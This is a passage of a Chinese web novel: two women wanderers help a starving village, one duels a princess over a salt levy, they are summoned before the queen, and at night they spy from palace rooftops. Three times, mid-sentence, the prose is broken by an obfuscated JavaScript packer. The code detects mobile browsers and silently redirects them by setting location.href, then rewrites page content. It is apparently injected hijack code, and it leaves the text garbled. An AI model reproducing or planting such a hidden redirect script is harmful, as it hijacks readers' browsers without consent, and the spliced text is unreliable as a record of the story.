面前这个人，明明和自己差不多年纪，竟然有着如此坚韧的心境。她总是这样，要去关心所有人，想去保护所有人。 她越是关心其他人，卫寒苍就越是不满。为何所有人都可以得到她的目光、她的关心。但随着她想到，这些目光和关心里也有她的一份，卫寒苍也忍不住骄傲的挺起了胸膛。 最后，她往褚秋水那边又靠近了些，直到自己全部被对方的气息所包围，才满意地闭上双眼。 翌日清晨，天刚蒙蒙亮，村里人就开始一天的劳作了。 褚秋水是被外面公鸡打鸣的声音闹醒的。 她推开门，看见村民们已经开始了一天的忙碌——几个老人蹲在门口编着草筐，妇人们挑着木桶去村口的井里打水。孩子们光着脚丫子在土路上跑来跑去，追逐着一只瘦骨嶙峋的黄狗。 阳光从东边的山头探出来，给这个破败的村子镀上一层淡淡的金边。 褚秋水站在门口看了一会儿，忽然觉得心里有些发堵。 这些人，日子过得这么难，可还是在努力活着。 “醒得这么早？”身后传来卫寒苍的声音，带着点刚睡醒的沙哑。 褚秋水回头，看见他打着哈欠从屋里走出来，头发乱糟糟的，衣裳也皱巴巴的。 “你整理好了就快来帮忙。” 卫寒苍低头看了看自己的穿的衣服，丝绸做的褂子十分娇贵：“好歹等我换身衣服。” 褚秋水点点头，转身朝村子里走去。 村口的老槐树下，几个妇人正围在一起择野菜。褚秋水走过去，蹲下来看了看。 还是昨天那种苦菜和灰灰菜，叶子蔫蔫的，一看就是找了许久的。 “阿嫂，这菜怎么择？” 那个被叫做阿嫂的妇人抬头看她，愣了一下，随即露出有些拘谨的笑：“勇士……勇士怎么来这儿了？这活脏，别脏了您的手……” 褚秋水摆摆手，直接蹲下来，从筐里抓起一把野菜，学着她们的样子择了起来。 “我从小跟师傅在山里长大，什么活都干过，没那么金贵。” 妇人们面面相觑，一时不知该说什么。 卫寒苍也凑了过来，在她身边蹲下，抓起一把野菜看了看，皱起眉头：“这东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371602|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西能吃？” “怎么不能吃？”阿嫂连忙解释，“焯一遍水，加点醋，就……就能吃了。” 卫寒苍看着那把蔫巴巴的野菜，嘴角抽了抽，却没说什么，也跟着择了起来。 他择菜的动作生疏得很，不是把能吃的部分扔掉，就是把不能吃的部分留下。旁边的妇人看得着急，又不敢说，最后还是褚秋水看不下去了，一把拍掉他手里的菜。 “你是来帮忙的还是来添乱的？” 卫寒苍委屈巴巴地看着自己通红的指尖：“我这不是在学嘛……” “学着浪费粮食？” 旁边几个妇人看着他们斗嘴，忍不住笑出声来。气氛一下子轻快起来。 在她们的指导下，卫寒苍的择菜也有模有样起来。在和他们的交谈中，褚秋水得知，这位教得最细致的是周伯的儿媳，大家都叫她周嫂。 过了一会儿，她忽然开口：“周嫂，你们平时除了野菜，还吃什么？” 周嫂回忆到：“还能吃什么……地里收成不好，有时麦子种下去，收回来还没种子多。家里有点存粮的，就掺着野菜煮粥喝。没存粮的，就只能光吃野菜。” “山上可以打野物吗？” “有，但太少了。”周嫂摇头，“早年间还能见着些兔子狐狸，这几年，山上的野物也被打光了。” 褚秋水听了，有些沉默。 择完菜，她又去帮村里的老人劈柴。 那些柴都是枯树枝和干草，根本不禁烧，一捆柴扔进灶里，没一会儿就烧完了。 老人告诉她，以前有铁斧头的时候，能去山里砍大树，一棵树能烧好几个月。现在铁斧头被收走了，只能用石斧头，砍不动大树，只能捡些枯枝回来。 褚秋水听在耳里，记在心里。 卫寒苍也没闲着，被一群孩子围住了。 那些孩子瘦得像小猫，眼睛却亮晶晶的，围着他问东问西。 “姐姐，你从哪里来的？” “姐姐，你长得好漂亮啊。” “姐姐，你会讲故事吗？” 卫寒苍被他们吵得头疼，却又不好发作，只能蹲下来，耐着性子陪他们说话。 “我给你们讲个故事吧。”他说，“从前有只狐狸，特别会偷东西——” “卫寒苍！”褚秋水的声音从远处传来，“别教坏小孩子！” 卫寒苍撇撇嘴，换了个故事：“好吧好吧，讲个别的。从前有座山，山里有座庙，庙里有个老和尚——” “听过了听过了！”孩子们齐声抗议。 卫寒苍头疼地揉了揉太阳穴。 她堂堂盗圣，连大内皇宫都敢闯，竟然沦落到被一群小孩子挑剔，真是世风日下啊。 见卫寒苍吃瘪，褚秋水也是心情大好。 她忍不住凑过去，贱兮兮地说：“想不到你也有今天。” 卫寒苍哼了一声，没有说话。 褚秋水看这些孩子活泼好动，想起自己小时候也是这样。 那时师傅是怎么教自己的？ 褚秋水回忆了一下，将师傅一以前教过的一些基础的修习之法交给了孩子们。 想不到他们学的还挺快，而且练习之后，连气色都好了许多。 卫寒苍在旁边啧啧称奇：“想不到你还有当老师的天赋。” “那是当然了，我干什么干不好。” 正闹着，村口忽然传来一阵嘈杂声。 8. 征盐 那声音来得突然，像是平静的水面被砸进一块石头——脚步声，马蹄声，呵斥声，还有孩子的哭声，混在一起，由远及近。 褚秋水见状，忙把孩子们都安排到安全的地方。卫寒苍也严肃起来，准备跟着褚秋水朝村口望去。 周围村民们也听到了那声音，脸上的表情瞬间变了。 妇人们抱起孩子，匆匆往屋里躲。老人们低下头，佝偻着背，装作什么都没听见。就连那些刚才还活蹦乱跳的孩子，也被大人一把拽进屋里，门板砰地关上。 刚才还热闹的村口，瞬间安静得像座坟墓。 只有那嘈杂声越来越近。 片刻后，一队人马出现在村口。 打头的是个年轻女子，骑着一匹枣红马，一身劲装，腰间佩剑，眉眼间带着一股与生俱来的矜贵气度。 只是她握缰绳的手势略显生疏，坐姿也过于板正，眼中还明显闪烁着新奇的光芒。 她身后跟着十几个兵卒，个个挎刀，面无表情。 那女子勒住马，目光扫过村子，发现无人在外迎接。她微微皱眉后，才吩咐身旁的随行官了几句话。 “这个月的盐怎么还没送去？” 盐？是官府来征盐的？ 随行官打开门，一个老人颤颤巍巍地从屋里走出来，正是周伯。 他躬着身子，脸上堆着讨好的笑：“回……回禀大人，这个月实在……实在是凑不齐……” “凑不齐？”那女子眉毛一挑，“上个月就欠着，这个月还说凑不齐？你们当——” 她顿了顿，似乎在回忆什么，然后飞快地接上：“——当苏眦的律法是摆设？” 周伯扑通一声跪下了。 “大人息怒，大人息怒！实在是村里没有盐了，我们自己都……” “没有盐？”那女子微微倾身，语气里带着几分困惑，“怎么会没有盐？王庭每月征盐都有过计算，保证每户都有盐用，账目上一清二楚。你们若是没领到，该去上报才是。” 周伯愣住了，张了张嘴，却说不出话来。 褚秋水在一旁听着，眉头渐渐皱了起来。 这姑娘……怎么说话像个书呆子？ 那女子见周伯不说话，便挥了挥手，身后的兵卒立刻冲进村子，挨家挨户踹开门，翻箱倒柜地搜了起来。 哭声、求饶声、东西摔碎的声音，瞬间响成一片。 那女子骑在马上，看着这一切，脸上流露出些许不忍。 她看着那些哭喊的百姓，嘴唇微微动了动，身边的随行官员立刻上前和她说了什么，她皱着的眉头才松懈下来。 褚秋水的拳头握紧了。 她刚想动，一只手忽然按住了她的胳膊。 卫寒苍看着她，轻轻摇了摇头。 “再等等。”他用只有两人能听见的声音说，“对面披甲士兵至少有二十位。” 褚秋水深吸一口气，强迫自己站在原地。 那女子骑在马上，有些无聊地四处张望。 她看着那些漏风的墙、破洞的屋顶、瘦得皮包骨的孩子们，眼神有些闪烁。 忽然，她的目光定住了。 她看见了褚秋水。 更准确地说，她看见了褚秋水背后那把比人还高的大剑。 “你是谁？”那女子骑马上前，盯着褚秋水，做出了肯定的判断，“你不是这个村子的人。” 周围士兵立马跟上，有些士兵的刀已出鞘。 褚秋水没说话，只是静静地看着她。 那女子的目光又落到卫寒苍身上，上上下下打量了一番，眼里闪过一丝好奇。 “有意思。”她翻身下马，落地时还微微晃了晃，随后抬手拦住了还想跟上来的士兵。 “我问你们话呢，”她在褚秋水面前站定，仰头看着她——她比褚秋水矮了半头，却努力挺直脊背，一副公事公办的样子，“请回答。” 褚秋水低头看着她。 近处看，这女子生得很是好看，眉眼精致，皮肤白净，一看就是养尊处优长大的。 她的眼睛里没有那种习惯性的傲慢，反而带着一股认真的劲头。像是在执行一项重要的任务，生怕出错。 “我们是过路的。”褚秋水终于开口，声音平静。 “过路的？”那女子微微偏头，“过路的怎么跑到这乡下来了？” “迷路了。” 那女子盯着她看了一会儿，忽然问：“你背的这是剑？” “是。” “这么大？”她比划了一下，眼里闪过一丝惊讶，“怎么用？” 褚秋水沉默了一瞬，觉得这姑娘有点奇怪。她决定跳过这个问题。 “你到底是来干什么的？”褚秋水问。 那女子像是被提醒了，连忙板起脸：“征盐。你们是外乡人，按律法，可以不向你们征。但我要问你们——你们可有凭证？” “没有。” “那你们得跟我回王庭登记。” 褚秋水看着她，忽然开口：“你征盐，是为了什么？” 那女子一愣：“什么？” “盐征上去，用来做什么？” “自然是……”那女子张口就来，“充实国库，保障民生，维护王庭运转。” “那百姓呢？”褚秋水指了指那些被翻得乱七八糟的屋子，“他们没有盐，活不下去，你知道吗？” 那女子眉头皱了起来：“怎么会没有盐？每户每月定额配给，我亲自核过账目的。” “账目是账目，现实是现实。”褚秋水看着她，“你下来看过了，你觉得他们像是有盐的样子吗？” 那女子有些沉默。 她转过头，看着那些瘦弱的村民，看着那些空荡荡的屋子，看着那些因为恐惧而瑟缩的眼神。 过了好一会儿，她才轻声说：“可是……律法规定……” “律法是为了让人活得好，不是为了把人逼到绝处。” 那女子猛地转过头，盯着褚秋水，目光里有了几分锐利：“你在质疑王法？” “我在说事实。” 两人对视着，谁也不肯退让。 周围的兵卒和村民都安静下来，看着她们。 半晌，那女子忽然笑了。 那笑容里带着点赌气的意味：“好，你说我不对，那你告诉我，什么是对的？” “我目前还不知道。”褚秋水坦然道，“但我知道，你现在这样做不对。” “那怎么办？”那女子扬起下巴，“难道我们在这儿辩到天黑？” 褚秋水想了想，忽然说：“打一架吧。” 那女子愣住了：“什么？” “打一架。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371603|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚秋水说，“你赢了，我听你的，跟你回王庭登记。我赢了，你免了这几次的盐，回去好好想想，到底什么才是对的。” 那女子瞪大眼睛看着她，像是听到了什么不可思议的话。 “你……你要和我打？” “对，怎么，你不敢？” 那女子脸涨红了。 她从小在宫里长大，学的是治国之道，背的是典章律法，骑射武艺虽然也练过，但都是跟教习在演武场上比划，从来没有真正跟人动过手。 可现在，这个外乡人，当着这么多人的面，问她“不敢”？ “打就打！”她一扬下巴，手按上剑柄，“谁怕谁！” 周围的人都惊住了。 那些兵卒想上前阻拦，却被她一挥手制止：“退下！这是命令！” 褚秋水看着她，眼里闪过一丝欣赏。 这姑娘，性格倒是够意思。 她拔出大剑，往后退了两步，摆出起势。 那女子也拔出剑来——是一把精致的轻剑，剑身细长，寒光凛凛，一看就是好剑。只是握剑的姿势标准，感觉缺少实战。 两人对峙片刻。 那女子先动了。 她一剑刺来，剑法倒是精妙，一招一式都有来历，只是——太慢了。每一招之间都有停顿，像是在等对方接招，又像是在回忆下一招该是什么。 褚秋水侧身让过，大剑轻轻一拍，就把她的剑荡开。 那女子踉跄了一步，稳住身形，又刺了过来。 这回更快了些，但还是…… 褚秋水摇摇头，大剑横拍，直接把她连人带剑拍退了三步。 那女子稳住身形，咬了咬牙，又冲上来。 如此三次。 第四次的时候，褚秋水没有再拍开她，而是架住她的剑，轻轻一挑——那女子的剑脱手飞出，插在地上，嗡嗡作响。 那女子愣住了。 她低头看着自己空空的双手，又看了看地上的剑，满脸的不可置信。 “你……你怎么……” “你的剑法很好。”褚秋水收剑入背，认真地说，“但那是练出来的，不是打出来的。” 那女子呆呆地看着她。 “你回去好好想想吧。”褚秋水转身要走。 “等等。”那女子忽然开口。 褚秋水回头。 那女子咬了咬嘴唇，像是下了很大决心，闷声道：“我……我输了。这几次的盐，免了。” 周围的兵卒面面相觑，有人想说什么，却被她一眼瞪了回去。 “我说话算话。”她扬起下巴，努力维持着最后的尊严，“你叫什么？” “褚秋水。” “褚秋水。”她重复了一遍，点点头，“我记住你了。” 她转身，朝自己的马走去。 就在这时—— 远处传来一阵急促的马蹄声。 所有人都循声望去。 一匹快马从官道尽头疾驰而来，马上的信使高举着一卷帛书，声音远远传来—— “王令——！女王陛下王令——！” 那女子脸色微变，停住了脚步。 信使勒马停下，翻身下马，单膝跪地，双手奉上帛书。 “禀郡主，女王急令，请您和您的朋友速速回宫！” 9. 王令 “朋友？”华兰泽有些迷惑，眼神飘忽不定，直到目光扫到褚秋水脸上，才反应过来，耳尖染上绯红，“她才不是我的朋友！” 传令官面无表情，没有辩驳的意图，只是又重复了一遍女王的召令。 这下，在场所有人的目光都集中在褚秋水身上。 褚秋水原本准备等华兰泽他们离开后，去找周伯谈谈，但现在这种场面，也不容她抽身了。 她冲卫寒苍眨眨眼。 卫寒苍立马会意，施施然走上前来。 这几天两人配合越来越默契，有些情况下只需一个眼神，就能明白对方的意思。 卫寒苍走到传令官面前，笑眯眯地拱了拱手：“请问这位大人，王令里有点名是让我们两个去吗？” 她问得随意，语气里还带着点受宠若惊的味道。 褚秋水趁着这一会，心里在快速盘算。 想必，她们掉落到这个世界的第一天就被人盯上了，这几天在村子里的活动估计也瞒不住王庭的眼线。 那种荒僻的小村，忽然出现两个陌生人，还背着那么显眼的大剑，不被盯上才怪。 只希望不要连累村里无辜之人。 她在人群中搜索一番，看到了这几天一起相处过的村民，大家正眼巴巴地望着她，那眼神让她心里一酸。 传令官没想到卫寒苍有这么一问，迟疑了一下才道：“陛下的意思……就是请郡主和两位一同去往宫中。” 这话说得含糊，既没说是点名，也没说不是点名。 卫寒苍却像是得到了想要的答案，笑着点头：“既然如此，我等自当从命。只是还有些衣物落在借宿的小屋里，请给我们一点时间收拾一下。” 他说着，顿了顿，语气里带上恰到好处的羞涩，“毕竟是去见女王陛下，总得换身干净衣裳，免得失礼。” 传令官显得有些为难，他看向了华兰泽。 华兰泽刚才被那句“朋友”闹得还有些不自在，此刻正板着脸，努力装作什么都没发生过的样子。见传令官看她，当即拍板：“难道收拾衣服的时间都不留给客人们吗？未免太失礼了。” 她说着，看了褚秋水一眼，又飞快地移开视线。 “是是是……”传令官连声应着，不敢再多言。 就这样，两人在所有人的注视下，回到了她们昨天借宿的小屋。 一关上门，褚秋水就靠在门板上，长长地吐了口气。 “你怎么看？” “我站着看。” 卫寒苍走到窗边，透过破洞的窗纸往外看了一眼。那些兵卒还守在院子外面，不远不近的，既不妨碍她们收拾，也不给她们溜走的机会。 “看来这王宫是非去不可了。”她说着，语气轻飘飘的。 两人对视一眼，都从对方眼里看到了相同的念头—— 这趟进宫，怕是没那么简单。 “收拾吧。”褚秋水直起身，“既然是‘请’咱们去，那就去会会那位女王。” 卫寒苍笑了：“你不怕？” “怕什么？”褚秋水拿起靠在墙边的大剑，“有剑在手，怕她还能吃了我不成？” 卫寒苍听了，整个人仿若小迷妹一样看着她。 “哇喔～姐姐好威武。” “少贫嘴。”褚秋水下意识回了一句，随即感觉自己语调有些生硬，又补上一句，“你我此次务必小心行事。” 两句话说完，她们把东西也收拾好了。外面的传令官早就不等得耐烦了，看见她们出来，立刻领着她们上了马车。 王宫比想象中更近，越靠近王城中心，就越是繁华。这就是褚秋水沿路的感觉。 马车行了不到半个时辰，巍峨的宫墙就出现在视野里。墙是青灰色的石砖砌成，高约三丈，墙头有士兵来回巡逻，甲胄在阳光下闪着冷冷的光。越靠近王宫，路上行人都穿着就越好。 宫门大开，马车径直驶入。 褚秋水掀开车帘一角，往外看去——宫道宽阔平整，两旁种着不知名的花树，花开得正好，粉白一片，有宫女内侍穿行其间，脚步匆匆，却井然有序。 单看宫内，倒真个太平盛世。 可褚秋水忘不了那些村民的脸，忘不了那些瘦得皮包骨的孩子，忘不了那些被搜刮一空的屋子。 马车在一座殿前停下。 传令官在外道：“两位，请下车。” 褚秋水背好剑，掀帘而出。卫寒苍跟在她身旁，面上依旧带着那副人畜无害的笑。 殿门大开，里面隐隐有乐声传来。 华兰泽已经在门口等着了。见她们下车，她板着脸走过来，压低声音飞快地说了一句：“母后问什么，你们就答什么，别乱说话。” 然后不等他们回应，就转身大步往殿内走去，只留下一个挺得笔直的背影。 褚秋水与卫寒苍对视一眼，跟了上去。 殿内很宽敞，铺着暗红色的毡毯，两侧立着鎏金灯树，烛火明亮。尽头处是一座高台，台上设着御座，一个女子端坐其上。 那女子看起来四五十许人，面容与华兰泽有七八分相似，却多了几分岁月沉淀的雍容与威仪。她穿着一袭玄色长袍，袍上绣着暗金色的纹路，长发高高挽起，戴着一顶样式古朴的王冠。 这就是女王吗。 褚秋水停下脚步，微微躬身行礼，态度是她一贯的不卑不亢。 卫寒苍也躬身行礼，姿态比她还标准几分。 华兰泽快步走到御座旁，站定，目光却时不时往褚秋水这边飘。 女王看了她一眼，那目光很淡，却让华兰泽瞬间收敛了神色，垂下眼去。 “兰泽，你先下去吧。”女王淡淡地说。 华兰泽一愣：“母皇？” “我要与这两位客人单独说说话，你先去休息。” 华兰泽张了张嘴，还想再说些什么，却被女王的目光一扫，只得低头行礼，转身离去。 走过褚秋水身边时，她脚步顿了顿，像是想说什么，却终究没有说出口，只是低着头快步走了出去。 殿门在她身后缓缓合上。 殿内只剩下三个人。 女王坐在御座上，居高临下地看着她们，没有说话。 褚秋水也跟着沉默。 气氛一时间有些压抑。 过了不知多久，女王忽然笑了。 那笑声很淡，淡得让人不敢肆意揣摩，听不出什么情绪。 “你们不是苏眦的人。”她说，声音不高，却清清楚楚地传遍整个大殿，“你们从哪里来？” 褚秋水正要开口，女王却抬手制止了她。 “别急着编。”她说，“朕活了几十年，真假话还是听得出来的。” 褚秋水抿抿唇。 她快速扫了一眼卫寒苍，卫寒苍微不可查地摇了摇头，示意让她来。 “怎么？”女王微微倾身，目光在两人身上来回扫过，“还没编好？” “陛下慧眼。”卫寒苍恭敬开口，笑容恰到好处，“我们的确不是苏眦人，是从很远的地方来的。” “很远？”女王挑眉，“有多远？” “远到……”卫寒苍顿了顿，“说出来陛下可能不信。” “说来听听。” 卫寒苍看了褚秋水一眼，然后坦然道：“我们是从祭坛里掉下来的。” 殿内安静了一瞬。 女王的表情没有任何变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371604|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只是目光微微闪了闪。 “祭坛？”她重复道，“哪个祭坛？” “就是城外那个，几十年无人问津的古祭坛。”卫寒苍说得云淡风轻，“我们本来在赶路，不知怎么就掉了进去，醒来就在那个村子里了。” 女王盯着他看了一会儿，忽然笑了。 “有意思。”她说，“那祭坛荒废多年，你们说自己是从里面掉出来的。这倒是巧得很。” “谁说不是呢。”卫寒苍附和着笑，笑容里满是诚恳。 女王的目光转向褚秋水：“你呢？也不说句话？” 褚秋水迎上她的目光，坦然道：“她说的都是实话，我没什么好补充的。” 女王沉默了片刻，忽然问：“你们在村子里住了几天，都做了些什么？” “帮村民干活。”褚秋水答，“劈柴，择菜，陪孩子玩。” “就这些？” “就这些。” 女王又笑了。 这一次，那笑容里多了一点别的东西。是审视，是评估，又或者是别的什么。 “朕听说，”她慢慢道，“你跟兰泽打了一架？” 褚秋水迟疑了一会，点点头。 “还打赢了。”女王补充道，语气里听不出喜怒。 “是郡主留手了。”褚秋水说。 “留手？”女王轻笑了一声，“兰泽那孩子，朕最清楚。她从小到大，就没吃过亏。能让她‘留手’的人，可不多。” 她顿了顿，目光落在褚秋水空荡的背后上。 “听说，你有一把剑。” 褚秋水沉默了一瞬，然后点点头。 金殿之上，不可持刀披甲，这一点她还是懂的。所以来之前就把大剑收在储物戒中了。 “拿来，让朕看看。” 既然是女王主动提的，那褚秋水也没有拒绝的理由。 大剑出鞘，寒光凛凛。她没有运任何灵力，只是平举着剑，纹丝不动。 女王看着那把剑，眼里终于有了一丝变化。那是真正的惊讶，不是装出来的。 “好力气，好胆识。”她赞了一声，“朕许你以后可以在宫中佩剑。” 褚秋水谢恩后，收剑入背，等着女王的下一句话。 寒暄都寒暄得差不多了，马上要到对方的真实意图了。 果然，女王开口道：“朕想要你们留下。” 褚秋水一愣，还没等她回话，女王的声音又响起来了。 “朕准备封你们为官。宫中缺几个能打的，你们正好合适。” 她说得随意，像是在说今天天气不错。 褚秋水与卫寒苍对视一眼。 “陛下厚爱，我等惶恐。”卫寒苍开口，语气恭敬依旧，“只是我们两个散漫惯了，怕是当不好官。” “当不好？”女王微微倾身，“还是不想当？” 卫寒苍笑了笑，没有说话。 女王看着他们，目光渐渐深沉。 她张了张嘴，想说什么，忽然，她的眼神恍惚了一瞬。 那变化极快，快到褚秋水几乎以为是自己的错觉。可那一瞬间，她清楚地看见，女王眼底有什么不同寻常的东西一闪而过。 然后，一切恢复正常。 女王揉了揉额角，再抬起头时，脸上又恢复了那副雍容淡定的模样。 “既然你们不愿意，”她说，“那就在宫里住几日吧。兰泽那孩子难得遇到个能打赢她的人，让她多讨教讨教。” 这话说得客气，却是没有商量余地的。 褚秋水听了，只是微微躬身：“多谢陛下。” 卫寒苍也躬身行礼。 女王摆摆手，示意他们退下。 10. 夜访宫闱 经过一整天的折腾，两人也确实累了。 回到女王为她们准备的宫殿中，两人洗漱修整完，就双双凑到拔步床上。 掀开薄如蝉翼的纱帐，迎面就是蓬松软和的床垫。 褚秋水把自己整个人都摔进床里，扑腾着打了几个滚。今天一天的疲惫都在此刻释放。 爽爽爽！ 果然，床才是人类最好的伙伴。 见她湿着头发就躺在床上，卫寒苍连忙催着她。 “快起来，头发还没干就上去了。过来，我帮你把头发拧了。” 褚秋水有些舍不得这张床，如果可以的话，她真想和床处一辈子。床铺身高八尺有余，而温暖柔和。而且，床对于她的各种抱怨劳累都是全盘接受，没有比床更好的对象了。 但现在，她不能忽视卫寒苍即将喷发的怒火，只能赶在她直呼自己的大名之前，磨磨蹭蹭地凑过去。 卫寒苍的脸这才晴转多云，熟练地拿着帕子，一点一点开始拧干。 褚秋水枕在卫寒苍膝上，什么也做不了。眼睛无聊地四处乱转，最终无聊到开始数她头上的珍珠玩。 褚秋水的目光落在那些珍珠上。 一颗，两颗，三颗…… 卫寒苍今日戴的是一对珍珠耳坠，不大却圆润饱满，在烛光下泛着温润的光泽。 她数完耳坠，又开始数发间的珠钗——那钗头镶着一颗莲子米大小的珍珠，旁边还缀着几颗更小的，像星星围着月亮。 “数什么呢？”卫寒苍的声音从头顶传来，带着点笑意和期待。 “数你头上的珍珠。”褚秋水老实答道，“有好几颗，你怎么这么喜欢戴珍珠？” 卫寒苍手上动作不停，语气却是柔柔的：“好看呀。” 褚秋水“哦”了一声，继续数。 数完了珍珠，她的目光又开始乱飘了，从珍珠移到对方的耳垂，又移到侧脸，最后落在她低垂的睫毛上。 烛光在他脸上投下淡淡的阴影，那睫毛一颤一颤的，像蝴蝶的翅膀。 褚秋水发现，卫寒苍生得确实好看。 “数完了？”卫寒苍低头看她。 两人目光撞个正着。 褚秋水果断点点头：“数完了，你擦干了吗，我有些无聊。” 原本，在对方长久的注视下，卫寒苍的脸难得的红透了，看向对方的目光也是含羞带怯。但现在听到褚秋水坦荡的话，他的脸瞬间垮了，连语气都比往常平淡了许多。 “擦完了。” 褚秋水没注意到对方情绪的变化。 因为待着无聊，她突然灵光一闪，想到了个好点子，拉着面色微霁的卫寒苍凑得更近了些。 “寒苍，你不是轻功了得的盗圣吗，我们今晚去掀人家房瓦吧。” 褚秋水眼睛亮晶晶的，像只发现了新玩具的小猫。 卫寒苍看着她这副模样，方才那点被冷落的情绪还没来得及发酵，就被她一爪子拍散了。 他叹了口气，嘴角却忍不住微微扬起语气却依旧冷淡：“你是真不怕死。” “怕什么？”褚秋水理直气壮，“有你在，掀个瓦片还能被抓？” 卫寒苍被她这话堵得没脾气。 “行吧。”他认命地起身，“想去哪家？” “先去华兰泽的宫殿看看。”褚秋水已经开始往外走了，“她住的离我们近一点，从她那里去女王寝宫也是顺路的。” 卫寒苍跟在她身后，目光落在她还有点湿漉漉的头发上。 刚才被她看得心猿意马，心思没太在手里的毛巾上，全在思索自己今晚发髻有没有歪、妆面有没有不妥上了，导致她的头发都还没完全擦好。她想说什么，又怕多说了什么，索性把话咽了回去。 反正等会儿吹吹风就干了。 两人换了身黑衣，悄无声息地潜出寝殿。 卫寒苍的轻功确实了得，边指点褚秋水边走，居然还能在屋顶上如履平地。月光下，两道身影掠过重重殿宇，衣袂翻飞，像两只夜行的鸦。 “那边。”卫寒苍指了指不远处一座灯火通明的宫殿，“应该是那个郡主的寝宫。” 褚秋水顺着他指的方向看去。 那宫殿比周围都亮堂些，门窗紧闭，却隐约有光从缝隙里透出来。 两人悄无声息地落在屋顶上。卫寒苍熟练地掀开一片瓦，俯身看去。 褚秋水随口一问：“你怎么熟练，不会经常这样干吧。” “……你到底来不来看。” “来来来。” 褚秋水忙凑过来，两人脑袋挨着脑袋，一起往下看。 屋内，华兰泽正坐在书案前。 她换下了白天的劲装，穿着一身月白色的寝衣，长发披散下来，衬得那张脸少了几分白日的锐气，多了几分少女的柔和。 按理来说，寝宫是放松的地方，桌案前的少女此刻却带着些纠结的表情。 她手里攥着个东西，翻来覆去地看，眉头一会儿皱起，一会儿松开，嘴还时不时嘟囔两句。 “这是在干嘛呢……”褚秋水小声嘀咕着，有点猜不透她在干嘛。 卫寒苍也没说话，只是眯起眼，试图看清她手里拿的是什么。 华兰泽忽然叹了口气，把手里的东西举起来，对着烛光端详。 是个香囊。 鹅黄色的底子，绣着几片竹叶，针脚不算太精致，但看得出是用心做的。 华兰泽看着那香囊，脸上忽然浮现出一抹傻笑，随即又像被自己吓到一样，飞快地把笑容收起来，换成一副严肃的表情。 “不行不行，你清醒一点。”她对着香囊自言自语，“她这个人凶巴巴的，到底有什么好的……” 华兰泽在说谁啊。 此刻，意识到有八卦听的褚秋水格外聚精会神，恨不得再有千双眼睛千双耳朵替她了解下面的情景。 “而且她还，她还敢当着那么多人让我丢脸……”华兰泽继续自言自语，语气里带着点控诉，“啊啊啊，好可恶的人！” 她说着，狠狠地把香囊拍在桌上。 只过了两息，她又忍不住小心翼翼地把香囊拿起来，轻轻抚平上面根本不存在的褶皱。 看见她这样，褚秋水更加好奇华兰泽口中的人是谁了，浑然未觉身旁人越来越阴沉的表情。 “可是，”她的声音低到几乎听不见，还带着点自己都没察觉的委屈，“她也挺不错的……” 在上面什么也听不见的褚秋水急得恨不得直接蹦下去。 卫寒苍看着急得上蹿下不能跳的褚秋水，忽然有点想笑。 这傻子。 “我们还听吗，她好像要睡了。”褚秋水压低声音问。 卫寒苍看着她，目光里带着点无奈，又带着点说不清的东西：“走吧，去下一站。” 两人悄无声息地把瓦片盖回去，退到远处。 “走吧。”卫寒苍说，语气听不出喜怒。 褚秋水看了她一眼，意识到对方的情绪有点不对劲：“你好像不太高兴？” “有吗？”卫寒苍释怀地笑了笑，“我只是在想，傻人有傻福的故事。” 褚秋水感觉她今天晚上有点怪怪的，可能是心情不太美妙，所以也就默修闭嘴禅了。 女王寝宫比华兰泽的宫殿更气派，也更高。屋顶铺着琉璃瓦，在月光下泛着幽幽的光。 卫寒苍选了个合适的位置，轻轻掀开一片瓦。 屋里灯火通明，却比华兰泽那边安静得多。 女王华希音端坐在书案前，手里拿着一卷帛书，似乎在批阅什么。 “陛下。” 一个声音忽然响起。 褚秋水把耳朵竖起来了，这屋里可比华兰泽那边热闹。 她顺着声音看去，这才发现书案对面的阴影里，站着一个人。 那人站在暗处，看不出面容，只能隐约感觉出来身形修长。 女王没有抬头，依旧看着手里的帛书：“说。” 那人往前走了两步，烛光照亮了他的脸——约莫三十岁，剑眉星目，面白无须。他身上穿的不是褚秋水她们见过的官服形制，倒更像是……祭典用的礼服。 那人上前，把手轻轻搭在女王肩上，为她按摩起来。 女王的眉头也随之舒展，看得出来两人配合默契，应该是相熟已久了。 “陛下，臣斗胆，还是想劝您一句。”他开口，声音低沉，“那股力量，您真的不考虑吗？” 女王终于抬起头，目光落在他脸上。 “不考虑。”她说，声音平静，却带着不容置疑的威严，“这个问题，朕回答过你很多次了。” 那人却没有退缩，反而上前一步：“可是陛下，有了那股力量，您 